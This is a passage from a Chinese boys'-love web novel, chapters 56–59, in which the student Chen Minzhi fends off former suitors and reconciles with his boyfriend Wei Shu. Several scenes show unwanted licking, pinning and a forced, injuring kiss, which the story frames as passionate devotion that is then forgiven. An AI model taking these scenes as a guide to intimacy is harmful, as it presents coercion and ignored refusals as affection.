陈悯之乌黑眼睛看他一眼,又看一眼在场的剩下几个男人,垂了垂眸。 他的声音不大,却足以让在场的所有人都听清楚:“因为,只有他是从来没骗过我的。” 少年的声线一如既往地柔软,那里面既没有责怪,也没有任何的怨怼,仿佛只是一种平静的叙述,却如同无形而锋利的刀刃,将他们的胸腔刺穿,刺得鲜血横流。 良久,顾明珏脸上浮现出一个苍白的笑容:“原来如此,是我输了。” 陈悯之却摇了摇头:“没有什么输不输的。” “你们只是,不会去爱而已。” 曾经情窦未开的他,不明白为什么这些男人一边说着喜欢他,爱他,一边又做着欺骗他伤害他的事,可现在他懂了,人总有自己不擅长的事。 他们各个都是自身行业内的天之骄子,却唯独在爱这门考试中考了不及格。 爱是多么复杂而稀缺的事物,有些人终其一生都没有得到过,故而无从学起,更遑论学会。 所以陈悯之原谅了他们,因为在爱面前,他们也只是想要得到爱,却不会爱的稚童罢了。 “我明白了。”顾明珏笑了,这次他的笑容不再苍白,而是如同春日温柔的风,就像陈悯之第一次见到他时那样,“那么,以后我还可以来找悯之吗?” 陈悯之犹豫了一下:“如果是作为朋友的话,可以。” 顾明珏笑着回答:“好。” 顾明珏离开后,陈悯之才抬了抬腿,对一直跪在地上抱着他大腿哭的陆承轩叹了口气:“陆承轩,你先起来。” 陆承轩哭得涕泗横流,一头浅棕色的头发都被他给哭湿了,跪在少年的拖鞋上,眼眶通红,像只被主人抛弃在雨里的流浪狗,有些滑稽,但又不可否认地显得很可怜。 “呜呜哥哥不要我了吗?我以后真的会听哥哥话哥哥不要丢下我” 见他这幅模样,陈悯之终究还是心软了,蹲下身去,抱住了他,手掌在他背上轻轻拍着:“没有不要你,承轩,我不会丢下你,你永远都是我最亲近的家人。” 但任陈悯之再怎么哄,这件事对陆承轩的打击还是太大了,他最后哭得晕了过去,被卫殊叫来120拉去了医院。 现在,陈悯之看向最后一个,自从他说出那些话后,就一直立在阴暗角落里,不发一言的男人。 那双漆黑的,几乎无机质的眼睛如同触手一般钉在他身上,男人也不说话,就这么一直盯着他。 卫殊见状,浑身肌肉绷紧,戒备地上前一步挡在陈悯之身前。 却被少年轻轻抓住了手臂:“卫殊,你先进去。” 卫殊:“老婆,我怕他对你——” 陈悯之摇摇头:“听话。” 于是卫殊咬着牙进了屋。 只剩下两个人的安静楼梯间里,陈悯之看向秦陌:“你还有什么事吗?” 秦陌眸光死死地盯着他,一步步走至他跟前,正当陈悯之以为他要对自己做什么,下意识后退时,却听到“噗通”一声。 男人在他跟前跪了下来。 那双黑沉沉的眸子不知何时变得很红,少了令人害怕的森然,倒像是受了伤的困兽:“悯悯,我知道你恨我,我向你道歉,从前的事是我的错,你怎样惩罚我都可以,但你不要用这种方式报复我,好不好?” 陈悯之垂眸望着他,叹了口气:“秦陌,我从来没有恨过你,以前没有,以后也不会。” 少年乌黑眼睫颤了颤,像是捉不住的蝴蝶。 他轻声说:“我只是,不爱你而已。” 第57章 第 57 章 “我不是来拆散你们的.…… 57 陈悯之终于开始一个人上学了。 原本前几天, 卫殊还坚持要每天像个贴身保镖一样寸步不离地跟着他,像是只护食的狗一般,警惕地盯着每一个从他身边路过的人, 但连着盯了一周后, 发现实在风平浪静,那几个人一次也没来找过陈悯之, 像是真的因为上次的事情而死心了。 而陈悯之也确实有点受不了这种过度保护了,对卫殊道:“你以后不要每天跟着我了,我觉得他们已经不会再来了,而且你这样,我会觉得有些喘不过气。” 他虽然答应了和卫殊在一起,但他也需要有自己的私人空间。 卫殊原本还不太同意前半句,总觉得那几条野狗不可能就这样轻易地放弃, 但听到陈悯之的最后一句, 到嘴边的话还是咽了回去。 他不想要小公主感到压力,也害怕小公主会讨厌他。 于是他只能道:“好,但你每天下课的时候, 我会来接你回家。” 陈悯之答应了。 但他怎么也没想到, 在他开始一个人上学的第一天, 就在课堂上碰到了陆承轩。 青年笑吟吟地坐在他身旁:“哥哥,这周我们学校和A大有交流会, 所以我过来找你玩啦。” 那张英俊狗脸上的笑容人畜无害, 像是什么都没发生过一样。 可陈悯之警惕地看向他, 像只把长长的耳朵竖起来的兔子。 陆承轩见他这副模样, 叹了口气:“哥哥放心,我不会对你怎么样,我只是想哥哥了, 来给哥哥送礼物。” 说着,他从怀中摸出一个方形的小盒子,打开,里面是一枚鸽血红的宝石戒指。 “之前的事情是我不好,我向哥哥道歉,以后再也不惹哥哥生气了。我知道哥哥喜欢的是卫殊,哥哥你放心,我不是来拆散你们的,我只是想和从前一样,做哥哥最亲的家人。” 陆承轩睁着一双狗狗眼,神色诚恳:“这枚戒指,就当作给哥哥的赔礼道歉,哥哥收下好不好?” 陈悯之愣了许久才消化完这一堆话里的信息。 他有些惊讶,陆承轩竟然这么快就想通了,但又感到欣慰:“你想明白就好,你的道歉我接受了,但礼物就不用了。” 陈悯之瞅一眼那一看就价值不菲的红宝石戒指:“这太贵重了,而且我要是收下的话,卫殊也会不高兴。” 陆承轩望着他,露出有些受伤的表情:“可这枚戒指是我亲自设计的,连上面的宝石都是我亲手雕刻出来的,为了做这枚戒指,我还受伤了呢,哥哥你看。” 他说着就把手摊开。 陈悯之一瞧,男人修长的食指上果然有一道刀口,而且呈紫红色,看上去伤得不浅。 陈悯之犹豫了。 陆承轩敏锐地捕捉到少年意志的松动,继续循循善诱道:“哥哥怕卫殊不高兴的话,那哥哥不在他面前戴不就好啦。” 浅褐色头发的青年眼睫低垂着,头顶落着春日暖融融的阳光,显得有些毛绒绒的,这让他看起来很是柔软无害,像条温顺又亲人的金毛犬:“我没有奢望哥哥每天戴它,我只是希望,哥哥偶尔戴着它的时候,也能想起我来。” 话都说到这份上了,陈悯之再不答应就不礼貌了,于是他只好道:“好吧,那我收下了,谢谢承轩。” 刚答应完,少年又警觉地想起来什么:“等等,这里面又不会有什么窃听器吧?” 陆承轩委屈道:“怎么会呢,哥哥你怎么这么不信任我。” 陈悯之小声说:“那还不是因为你有作案前科” 陆承轩:“ ” 陆承轩:“真的没有,哥哥不信的话,可以拿去专业机构做检测。” 他都这么说了,陈悯之只能半信半疑道:“好吧,暂且信你一回。” 说话间,上课铃响了,陈悯之不再和他说话,转过头正襟危坐地专心听课。 这是他们计算机学院的专业课,旁人听起来有些枯燥无聊,陈悯之看陆承轩没听多久就趴在桌子上睡着了,也没管他,自己专注地做着笔记。 但没过多久,左手手背上忽然传来湿漉漉的触感,仿佛贴到了什么潮湿的苔藓上。 陈悯之悚然一惊,低头,发现趴在桌上的陆承轩正伸舌头舔他的手。 他连忙想把手收回来,可陆承轩明明闭着眼睛,却仿佛看得见他的动作一般,飞快地把他的手抓住了,随即,像是某种圈着肉骨头的狗狗一般,把他的手圈在了嘴边。 男人眼皮合着,也不知道睡没睡着,抱着他的手,一边舔,一边含含糊糊地咕哝着:“好香” 像是说梦话一样。 可陈悯之才不相信他是真的在说梦话,他有些着急地使大了一点力气:“陆承轩,你干什么!” 但他的手臂还是纹丝不动地被男人圈着,舔得津津有味。 台上老师还在讲课,周围都是人,陈悯之急得脸红脖子粗,偷摸着朝四下望了一圈,生怕有人发现了他们现在正在做的事,叫都不敢叫大声了:“陆承轩,放开!我让你放开你听见没有!” 然而男人依旧闭着眼睛,睡得很熟的模样,舌头却没有一刻停歇地舔着他的手指,甚至嘬出了小孩吃.奶般的细密水声:“好香好香甜的” “你说什么呢”陈悯之臊得脸都红透了,只庆幸自己坐的是后排,又是阶梯教室,桌子前面有遮挡,没人发现他们在做什么。 俗话说得好,你永远叫不醒一条装睡的狗。 于是陈悯之只能一边单手做笔记,一边让陆承轩一直舔到了下课。 下课铃响,陈悯之终于如释重负,“啪”地一巴掌拍在那颗毛茸茸的狗头上:“陆承轩!” 陆承轩揉了揉惺忪的睡眼,从座位上坐起身:“嗯?下课了吗哥哥?哎不好意思哥哥今天起得太早了好困哦不小心睡过去了。” 陈悯之:“你又骗我!哪儿有人一睡着就舔人的!“ 陆承轩委委屈屈:“哥哥你知道的,我从小睡姿就不太好,有时候还会梦游呢。” 陈悯之原本不太信,但又忽然想起小时候又一次陆承轩晚上梦游来爬他家窗户,然后从窗户上滚下去了当时他住的还是三楼,陆承轩直接摔断腿住了半个月的院。 这么说陆承轩睡觉的时候确实不太安分 可话虽这么说,陈悯之还是觉得有哪里不对劲 没等他想明白,陆承轩已经一脸无知地问:“好啦,我舔哥哥哪里了?” 陈悯之难以启齿道:“手。” 陆承轩叹了口气,从怀里掏出一条手帕,抓起他的手:“那我给哥哥擦一下就好了嘛。” 手上被舔得湿漉漉的,全是男人舌头滑过留下的水液,陈悯之想着让他擦干净也好,但没一会儿又觉得哪里不对。 男人抓着他的手,一边擦一边揉,宽大指节包裹住他的,从指头缝到指头尖都被捏揉遍了,明明只是擦手,却让陈悯之觉得又被狗舔了一遍。 可正当他瞪着眼睛要开口的时候,陆承轩已经笑吟吟地松开了手:“好啦,我还要去参加一个讲座,就先不陪哥哥了,哥哥再见。” 然后罕见地,毫不拖泥带水地消失在了他面前。 陈悯之抿了抿嘴巴,背着书包走出了教学楼。 然后就在教学楼的转弯处被男人堵住。 刚被啃过一口的陈悯之简直是浑身都敲响了警钟:“你来干什么?” 秦陌:“我来上课。” 陈悯之:“哦。” 差点忘了秦陌也是计算机院的学生了。 陈悯之又想起什么:“可我刚刚上课的时候没看见你啊” 男人墨色的眉冷淡地一挑:“哦?你跟我是什么关系?我的行踪需要向你汇报吗?” 陈悯之:“ “ 陈悯之:“那没什么事的话我先走——” “等等。”还没迈出去一步,男人高大的身影就再一次挡在了他面前。 那双幽冷的眸子盯在他身上,像是沉沉的锁链般将他缠住,极具压迫感。陈悯之下意识往后退了一步,但男人依旧步步紧逼,直到将他逼到了墙角。 后背抵上坚硬的墙壁,退无可退,陈悯之像只被逼到绝路的兔子,浑身寒毛都竖立起来:“够了!” 少年紧紧闭着眼睛,眼睫颤颤地说:“不要再靠近了。” 男人停步了。 半晌,头顶传来男人的一道冷嗤:“你以为我要对你做什么。” 男人眸光下睨,金丝眼镜后面的脸庞禁欲又漠然:“都是有男朋友的人了,我还没有下贱到当三的地步。” 但不知是不是陈悯之的错觉,他总觉得秦陌说“男朋友”这三个字的时候,面部肌肉有一点扭曲,似乎牙都要咬碎了。 “陈悯之,我没你想得那么不堪。”秦陌语调冷漠。 陈悯之睁着圆圆的一双眼睛,不解地看着他:“那你把我堵在这里做什么?” 秦陌:“你身上有股味儿。” 陈悯之:“?” 陈悯之:“什么?” 秦陌冷冷吐出几个字:“狗味儿。” 就跟被什么流着口水的狗舔过一样。 陈悯之奇怪地低下脑袋闻了闻自己:“有吗?” 虽然他有时候是会去摸一摸学校里的流浪猫流浪狗,但他今天又没有摸过,身上应该没有什么味道啊。 但秦陌答得斩钉截铁:“有。” 陈悯之有点怀疑自己了:“真、真的吗?” 那他要不要先回宿舍洗个澡 “不信?” 秦陌冷漠地说:“不信你再给我闻闻,闻了之后告诉你是不是真的。” 陈悯之瞪大眼睛:“什” 话音未落,男人已经欺身过来,修长指节拉开他的领口,将脑袋埋在他雪白细腻的脖颈间,饿犬一般,贪婪地、深深地嗅闻起来。 第58章 第 58 章 黑化的疯狗。 58 “唔, 你干什么!放开——” 陈悯之顿时跟只被狼逮住的兔子似的,拼命蹬腿儿,手脚并用地挣扎, 想从猎食者的口中逃脱出来。 但趴在身上的男人宛若一条突然发.情的狗, 对他的话充耳不闻,男人压着他的力道大得惊人, 鼻尖埋在他脖颈处,梭巡一般地从耳根后面闻到锁骨,炽热的、仿佛淌着汗的犬类一般的气息喷洒在他的皮肤上。 陈悯之简直觉得自己像是被什么饿了几个月的疯狗缠上了,恶犬带有强烈气息的涎水都仿佛要滴在他身上,下一秒就要从他身上咬下一块肉来似的。 这里虽然是教学楼后面较为偏僻的角落,但现在是下课时间,人流量大, 说不定什么时候就会有人经过, 随时都可能被人发现的羞耻感冲击着陈悯之的大脑,他脸颊发烫,白润细腻的皮肤上都蒸腾起一层薄汗。 弱小的兔子怎么都挣扎不掉, 只能放软了声音, 可怜兮兮地哀求道:“秦陌, 你别这样,我害怕” 但他不知道, 猎物的挣扎与哀求, 从来都只会激起猎食者更为暴烈的凌.虐欲, 他这幅眼眸含着水, 眼尾绯红的模样,落在男人眼中就如同一块儿香甜可口的食物。 男人金丝眼镜后的一双眼眸不知何时变得猩红,鼻翼动了动, 仿佛嗅到肉.腥味的狗般,贪婪地闻着少年脖颈间淌下的汗水,口中喃喃道:“好香” 仿佛几分钟之前说少年身上有狗味儿的人不是他一样。 他一边说着,一边更深地把脑袋埋入少年胸口,陈悯之今天穿了一件春款卫衣,很宽松,却恰好因此方便了男人的动作,对方修长指节一使力,轻易就将他的领口扯得变形,露出半边白皙的肩膀,以及胸口一小片白.腻的软.肉。 陈悯之吓得魂不附体,声音都吓出了哭腔,他本能地、却又因为羞耻和害怕而小小声地呜咽着:“救、救命呜” 可身上的男人仿佛已经完全失去理智了,他喉间发出几声低沉的喘,像是被动物性控制着一般,伸出舌.头,将少年脖颈上流下来的香汗舔进了嘴里。 粗粝湿.热的舌头从皮肤上舔过,刮得陈悯之浑身起疙瘩,他瞪大眼睛,像是完全没想到对方能在光天化日之下做这种事,震惊得连挣扎都忘了,呆呆地杵在原地。 陈悯之现在脑子里只有一个想法。 ——秦陌疯了。 这已经完全不是他从前认识的那个,如同冰山一般冷淡禁欲、有着高度的理智与自制力的秦陌了。 他甚至怀疑秦陌是不是分裂出了第二种人格,毕竟男人几分钟之前还对他冷漠得像是再也不想看见他。 而在他愣神间,秦陌已经又低下头,舔了他第二次。 这次舔的是他胸口。 陈悯之再也无法忍受,抬手“啪”地扇了他一巴掌。 男人的动作停下了。 愤怒到极点的少年,这一巴掌使出了全力,秦陌被扇地偏过头去,冷白色皮肤上浮现出一个清晰的巴掌印。 男人眉眼生得冷峻,鼻梁挺拔,眉弓锋利,像朵不可采摘的高岭之花。 这样一张冷淡又禁欲的脸,配上那个巴掌印原本是极不相衬的,然而他的西装领口在刚刚被挣扎的少年扯得微乱,扣子散开一颗,脸上还浮着个红肿的手印,看上去又颇有几分斯文败类的味道。 败类掀起眼皮,漠然的视线落在气鼓鼓的少年身上,眸中红色渐渐褪去,仿佛理智回笼的野兽。 然而下一刻,他却抓住了少年那只扇过他的手,放到唇边,伸出舌头在少年掌心舔了一口。 “我说过,你可以再打重一点。” “不然,我会爽到。” 陈悯之黑白分明的眼睛睁得圆圆的,惊颤颤地瞪着男人,像是震惊到了极点,变成了惊吓,已经完全说不出话来了。 他看着低下头,继续舔.舐他手指的男人,心想真是疯了秦陌是真的疯了 是不是他上次的话对秦陌刺激太大了陈悯之眼圈红着,忽然有些后悔地想,早知道就不说那些话了可他原本又不是奔着刺激秦陌去的,他只是叙述事实,想让秦陌死心而已 但现在看来,不但没有奏效,反而起到了反效果,把还勉强算正常的男人刺激成了听不懂人话的疯狗。 陈悯之绝望得有点想哭。 他也是真哭了,晶莹的几颗泪珠从眼眶中滚落下来。 就在这时,一只手忽然从中横穿出来,抓住了他的手腕。 “没看他哭了吗,秦先生,再舔就不礼貌了。” 陈悯之愕然抬眸。 是顾明珏。 男人向来温柔如画的眉眼染上一层冷意,霜雪般肃杀的寒意从那眼底一闪而过,看得陈悯之都觉得有些陌生。 顾明珏手臂肌肉绷紧,强硬地把少年的手从秦陌那里抢了过来,牵在了手里,安抚似的握了握。 那双眼眸在转向陈悯之时,如春风吹过般化去了眼底的霜雪,变为了水一般的温柔:“悯之别怕,没事了。” 秦陌抬起手腕,擦了擦唇角沾着的水,慢条斯理地整理好自己的衣着,将纽扣扣到了最上面一颗,重新恢复那副一丝不乱、人模狗样的姿态。 然后才掀眼瞥向顾明珏,冷笑一声:“我不礼貌?你就礼貌了吗?” “你又有什么资格,在这儿对我说这种话。”他说着,视线却盯向二人紧紧牵着的手,“人家可是有正牌男友,不需要顾先生赶着来做好人。” 秦陌一字一句,如同淬了毒:“上演英雄救美的戏码之前,不如先看看自己到底是英雄,还是连条名分都没有的野狗。” 这话不可谓不恶毒,连陈悯之都听不下去了,插口喊道:“闭嘴!” 他气得手抖,下意识想扇秦陌一巴掌好让他那张狺狺狂吠的狗嘴闭上,但想起男人刚刚说什么爽到的话,又硬生生忍住了。 秦陌刀子似的视线在二人身上扫过,冷笑:“你还护上他了?你是天真还是真蠢,到现在还不知道他对你什么心思?” 陈悯之红着眼睛:“用不着你来告诉我!” 顾明珏之前是对他有心思,但现在、现在他们都说开了,已经是朋友了。 秦陌这张嘴,就会挑拨离间,陈悯之愤愤地想着。 “秦先生误会了。”顾明珏礼貌地一笑,“我只是悯之的朋友,碰上朋友遇难,拔刀相助而已。” “朋友?”秦陌好像听到了什么天大的笑话,竟忍不住笑出了声。 “顾明珏,你骗骗我得了,别有一天把自己也给骗了。” 陈悯之再也听不下去了,他觉得跟疯子纠缠简直是浪费时间,拉起顾明珏的手:“别理他了,我们走!” 说罢转身就走,没再丢给身后的男人一个眼神。 顾明珏倒是不慌不忙地微笑道:“秦先生,告辞。” 秦陌没有阻拦他们,也没有去追。 只是,那双漆黑的眼睛却如同恶鬼般,始终死死地、一动不动地盯在二人背后,直到他们消失在视野中。 * 走出好一段路,陈悯之的呼吸都还有些急促。 是气得,但同时也是怕得。 他没告诉顾明珏的是,刚刚秦陌那种盯死人一样的恐怖眼神,他简直怕秦陌追上来突然掏出把刀把顾明珏给捅了。 毕竟疯子的行动不是一般人可以预测的。 直到掌心都传来微微的汗意,陈悯之才后知后觉地反应过来什么,飞快地松开了顾明珏的手。 “不好意思,我跑得太急,忘松开你了。”他有些抱歉地道。 顾明珏微微一笑:“没关系,朋友之间,牵个手很正常。” 陈悯之狐疑道:“是吗?” 怎么觉得有哪里不对劲。 顾明珏不紧不慢地指了指前面一对一看就是男同的男大学生:“你看,他们也牵着手呢。” 陈悯之定睛一瞧,发现还真是。 是不是他变得太敏感了,毕竟男生之间勾肩搭背都还挺正常的他高中不也和同学这么过来的吗 陈悯之觉得自己可能是有点小题大做了,遂不再去想,毕竟过去的事都过去了,他和顾明珏之间又不是那种见不得人关系,何况顾明珏刚刚还帮了他,既然已经决定做朋友,就不该再对朋友有所怀疑。 不过他转而想起另外一件事,对顾明珏道:“对了,以后你不要再往我卡里打钱了。” 陈悯之小声道:“毕竟现在我都没在你那儿工作了。” 事实上,他早就没再去顾明珏家照顾小猫了,但每个月的工资还是定时打到了他的卡上,除此之外,顾明珏还时不时就往他卡里打钱,一打就是十几万,说是因为之前的事情补偿给他的精神损失费。 陈悯之好几次想转回去,结果因为现在的防洗钱政策,他这种普通人的银行卡限额严重,想转都转不回去。 顾明珏面容温和地道:“没关系,这段时间就算给你放的年假。等你有空了,随时还可以过来继续工作。” 陈悯之想了想,摇摇头:“不了,我以后都不去了。” 虽说大家都是朋友,但他现在毕竟是有男朋友的人了,再经常跑去另一个男人的家里住着不太合适,而且那样卫殊肯定也会不高兴。 “真的不来了吗?”顾明珏眼底有什么难以觉察的东西一闪而过,“芝芝毕竟被你照顾了那么久,突然换人,可能会不习惯呢。” 想到小猫,陈悯之有几秒钟的犹豫,但还是坚定地说:“不来了。” 顾明珏叹口气:“那好吧,我尊重你的决定。” “不过,悯之可以答应我一件事吗?” 陈悯之:“什么事?” “悯之也算是芝芝的半个爹爹,就算不能每天照顾它,以后有空的时候,至少能来看望它一下吗?”顾明珏道。 这实在算得上是一个十分合理的请求,陈悯之犹豫片刻,最后还是答应了:“好,我会抽空去看看芝芝的。” 毕竟他对芝芝也有感情,舍不得完全抛下它不管。 顾明珏朝他露出一个令人安心的温柔笑容:“那就这么说定了,我和芝芝随时在家等你。” “嗯。” 反正只是去看看猫,又不在顾明珏家住,不会有什么事的,彼时的陈悯之这样想着。 忽然,只听一阵风驰电掣的声音,一辆漆黑锃亮的劳斯莱斯自不远处驶来,几乎要擦着他们的肩开过去。 陈悯之闻声一愣,还没反应过来,已经被顾明珏抱住了腰,一个转身带到了另一侧。 “小心。”顾明珏温和的声音从头顶传来。 陈悯之扶着他的手臂站稳身体:“谢谢。” 然而那辆飞驰而来的劳斯莱斯却没有越过他们,而是如同闪电般急刹在二人跟前。 车窗缓缓落下来,露出一张黑到能擦锅底的脸。 第59章 第 59 章 公主的眼泪,是唤醒野兽…… 58 待看清车窗后面的人, 陈悯之脸上一愣:“卫殊,你怎么在这里?” “你今天不是去公司了吗?” 卫殊视线从姿态亲密的二人身上扫过,喉结鼓动了一下:“事情提前处理完了, 来接你回家。” 陈悯之小声说:“不是说好上完课再来接吗, 现在才中午,我下午还有课呢。” 卫殊的目光落在他身上, 有些沉:“悯悯,先上车吧,家里做了饭。” 现在是午休时间,离下午第一节课只有两个小时,陈悯之嫌来回跑麻烦,中午原本没打算回家的,但现在卫殊已经做了饭, 他为了不浪费粮食也只好答应:“好吧。” 直到陈悯之坐上副驾驶, 驾驶坐上的男人都没和立在车外面的顾明珏说一句话,只有两道目光在半空中碰撞,一道如出鞘重剑, 沉而藏锋, 一道似水, 却同样刚硬坚韧,在刀锋跟前丝毫不让。 空气沉得可怕, 两道视线几乎要擦出火星子, 只有坐在副驾驶上的少年毫无所觉, 他正埋着脑袋鼓捣着手上的安全带, 很奇怪地嘟哝:“怎么卡住了” 卫殊倾身过去,沉默着帮他把卡住的安全带扯出来,绕过身体系好。 男人身材高大, 肩宽背阔,靠过来时几乎占据了三分之二的空间,将身形纤瘦的少年完全包裹起来,挡住了车窗外投来的视线。 那双兽类的瞳眸如鹰视狼顾,冷冷朝窗外瞥去一眼。 面对不加掩饰的敌意,顾明珏则如老僧入定,连唇角的笑容弧度都未改变分毫。 时间仿佛暂停在这一刻。 直到一无所知的少年拍了拍卫殊的肩膀,奇怪地问:“你还趴在我身上干什么,过去呀。” “哦。”卫殊像是才反应过来一般坐正身体。 陈悯之对窗外目送他们的顾明珏扬起一个笑容:“拜——” 第二个“拜”字还没说出来,漆黑的劳斯莱斯就如同一支离弦之箭般,轰然弹射出去,速度快到陈悯之险些从座椅上跟着弹射起飞。 直到驶出学校,驶入外面的主干道,车辆速度才缓缓平稳下来。 陈悯之惊魂未定地抓着安全带,一头雾水地问卫殊:“你开这么快做什么?” 驾驶座上的男人没有回答他的问题,只是一味地盯着前方,脸色沉得像暴风雨来临的夜晚。 男人凸起的喉结随着呼吸上下滚动,喉管处青筋起伏,小麦色的肌肉一下一下地跳动,仿佛在竭力克制着什么。 陈悯之看他脸色凝重,关切地问:“怎么了?是有什么急事吗?” 卫殊还是没说话,只是一脚将油门轰到底。 男人手背上鼓起青筋,没一会儿,方向盘上面的软皮竟被他徒手捏爆了。 飞驰的车速下,陈悯之顾不得再去和卫殊说话,只能紧紧抓着扶手,生怕自己一个转弯就被突然甩出去。 尽管在豪车良好的性能和配置下,他的担心完全是多余的。 但陈悯之其实并不喜欢坐这么快的车。 他的养父母就是出车祸去世的。 所以卫殊开车出门的时候,他总是会对他说开车慢一点,路上小心。 尽管知道世上不会有那么多的巧合,一辈子碰上两次车祸的概率微乎其微,但陈悯之还是在每次卫殊开车出门的时候,祈祷他平安回来。 为此他还亲手做了一个平安福,挂在了卫殊的车上。 现在,那枚平安福却仿佛置于狂风暴雨中,在飞驰的车速中晃荡得摇摇欲坠,要散架似的。 良久,风暴终于过去,在地下停车场阒静的空气里,平安福缓缓停止了晃动。 陈悯之脸色还有些白,却转过头,有些担心地伸手探向卫殊的额头:“你怎么了?是不是哪里不舒服?” 下一刻,他的手腕突然被一股大力抓住,男人漆黑高大的身躯如山般倾轧过来。 他的唇被堵住了。 男人滚烫的气息毫不留情地侵入进来,如同火炭般燎遍了他的唇舌,烫得他下意识往后一缩。 而他小幅度后退的动作却仿佛一个导火索,激怒了男人,让对方彻底发了狂,卫殊掐住他手腕的力道大得可怕,几乎要将他的腕骨捏碎,亲吻他的动作也骤然变得凶狠,宽大虎口卡住他的下巴,让他合不拢嘴巴,逼着他打开了内里温热柔软的腹地,好让人侵.犯到更深的地方。 比起亲吻,男人更像是一头发怒的野兽般,在蛮横地啃咬他,粗大又烫热的舌.头缠遍了他口腔里的每一寸,锋利的齿缘叼着柔软的唇瓣,仿佛野兽叼着食物般不放松,又是嗦又是咬,陈悯之几乎有一种错觉,觉得卫殊把他的嘴巴当成了一块儿肉,要撕咬下来吃进肚里。 “唔——卫——” 陈悯之觉得此刻的卫殊好陌生,就像是家养的大狗突然变成了凶残嗜血的豺狼,让他感到陌生又害怕,他仿佛一只被狼叼住脖颈的兔子,求生的本能促使他挣扎着,想要挣脱对方的束缚。 可卫殊察觉到他想要逃跑的意图,却仿佛发怒的野兽般从喉咙里发出一生低吼,变本加厉地增大了施加在他身上的力道,对方的身躯已经全然从驾驶座上跨过来,死死压在他身上,似沉重又坚硬的钢铁,不容他有一丝一毫逃脱的机会。 “呜”对方亲得太凶了,即使是在他答应卫殊告白后,卫殊情难自已的那次,男人也没有这么凶过。 毫无章法的野蛮啃咬下,陈悯之甚至尝到了嘴里泛起的淡淡铁锈味,不重,但却足以在他大脑的某根弦上,轻轻地拨动了一下。 仿佛一个开关,陈悯之心底的委屈一下就漫了上来,他不再挣扎,而是微微颤抖着,在男人的亲吻下呜咽。 少年连呜咽也是很小声的,不是大吵大闹的那种哭,而是低低的抽泣,像只胆子很小、很容易就感到胆怯不安,连哭也只敢躲在窝里小小声哭的兔子。 既让人爱怜,又会让人忍不住生出更恶劣的心思,想要把他欺负得更狠,让他哭得更可怜更漂亮一点。 卫殊很喜欢听他哭,男人虽然在床下很听话,但上了床就会变成一点也不听话的恶犬,总要很恶劣地故意把少年欺负哭,再温柔又笨拙地去哄人,用舌.头一点点舔掉从少年眼角流下来的泪水。 但现在,那落到卫殊嘴里的咸涩眼泪,却仿佛当头一棒,狠狠将这头发疯的野兽敲醒了。 唯有公主的眼泪,是唤醒野兽的魔药。 他愣愣地看向哭泣的少年,看着少年柔嫩唇瓣上被他咬破皮的伤痕,突然抬手,狠狠地给了自己一巴掌。 男人本就是常年锻炼的体育生,一身结实勃发的肌肉,这一巴掌下去非同小可,直接把自己扇得脸部血管破裂,殷红的鲜血从唇角流下来。 陈悯之被这阵仗吓得呆了,连哭都忘了,停下来愣怔怔问:“你、你干什么?” 卫殊却别过头,不敢看他似的:“对不起,悯悯。” 男人声音嘶哑,像粗糙的砂纸,充满了对自身的悔恨:“我答应过要保护你,自己却把你弄伤了。” 身形高大、眉眼浓烈英俊的男人垂着脑袋,像只犯了错的大型犬:“你是不是不喜欢我,讨厌我了,你怎么惩罚我都可以,但能不能不要提分手。” 但空气中只是一片安静。 迟迟听不到回答,卫殊只觉得自己仿佛身处一场审判,而少年的决定就是审判他的铡刀。 他浑身紧绷得像拉到极致的弦,就在他快要断掉的下一刻,一双柔软的手臂忽然抱住了他。 少年的脸颊轻轻靠在了他的胸膛上,在贴近他心脏的地方轻声说:“我没有不喜欢你,也没有讨厌你,更没有要和你提分手。” 无奈似的,陈悯之叹了一声:“我只是想问问你,今天到底怎么了?” 卫殊怔了几秒,随后,如同面对失而复得的珍宝般,狂喜地回抱住了少年。 他把头埋在少年脖颈处,闻着少年柔软的黑发的雪色皮肤上传来的馨香,声音几近哽咽:“对不起,对不起,都是我不好,是我心胸狭隘,愚蠢善妒,才让你受到了伤害,对不起悯悯。” 听到他的话,陈悯之沉默了几秒钟,直到此刻才意识到什么,问:“是因为顾明珏吗?你吃他的醋了?” 卫殊抱着他的手没松开,大狗一般从喉咙里发出一声闷闷的咕噜:“嗯。” 陈悯之无奈道:“你吃他的醋做什么,我跟他现在就是普通朋友而已。” 他虽然在感情方面是很迟钝,但也知道自己和别的男人走太近自己男朋友会吃醋的道理,但当时他只是跟顾明珏很普通地走在街上,什么也没做啊。 卫殊闷闷地说:“他抱你了。” 陈悯之回忆了一下当时的场景:“那是因为你开车开得太快,他怕你撞到我才把我拉开的。” 卫殊:“我不会撞到你。” 他车技很好,即使是在那样的速度下,卫殊也确信自己不会擦到小公主一点皮,最多也就是把顾明珏撞飞而已。 陈悯之:“那你也不能开那么快,这是在学校里,撞到人怎么办。” 卫殊低下头:“知道了老婆,我以后不会了。” 这幅模样实在很像一条长相凶狠却很听话的大狗狗,陈悯之忍不住摸了摸他的脑袋:“嗯,乖。” 两秒钟后,卫殊抬起头,目光灼灼盯着他:“可他抱你了。” 陈悯之:“ ” 你在这儿回档呢? 陈悯之现在只庆幸,幸好卫殊没看到陆承轩舔他手,以及秦陌把他摁在墙上啃的场景,要是看到了,一定比现在还疯,到时候他都不知道怎么哄了。 想到自己隐瞒卫殊的事情,陈悯之掩饰般地咳了声,小声道:“都说了那是特殊情况,以后不会了。” 但看到卫殊仍然不太高兴的脸色,陈悯之终究还是叹了口气,哄狗狗似的抱住比他高大了一倍的男人,在男人背上拍了拍:“好啦,我向你保证,以后都和他保持距离还不行吗?你放心,我以后一定不会和他抱在一起了,就算在路上看到他,也会远远避开,这样可以了吧?” 卫殊更紧地回抱住他,在他颈窝里说:“老婆,你是我的,这辈子都是我的。” “嗯,我是你的,我喜欢的只有你。”少年松开手,有些害羞似的低下眼睫,“卫殊,我是第一次喜欢人,也是第一次谈恋爱,或许会有很多不会的地方,但我们不要生气,也不要吵架,你有事就说出来,不要憋在心里,好不好?” 卫殊听到他这番话,心脏鼓噪地像是要从胸腔中跳出来,哪里还能去生什么气,他红着眼眶说:“好,都听老婆的。” 误会解开,陈悯之的心情也放松下来,他甜甜地笑起来,奖赏一般,凑过去在卫殊脸颊上亲了一下。 男人的目光却骤然变得灼热起来,他舔了舔唇角的血,又扑上去吻了上来。 陈悯之没有挣扎,而是顺从地接纳了这个吻。 只是男人亲的时长比他预想中长得多,以至于到后来,原本单纯的亲吻渐渐变了味儿。 陈悯之抓住男人试图去撩他卫衣下摆的手,红着脸道:“上、上去,不要在这里。” 可卫殊却眸光烫热地盯着他:“就在这里,好不好?” 陈悯之推他:“有人会看见” 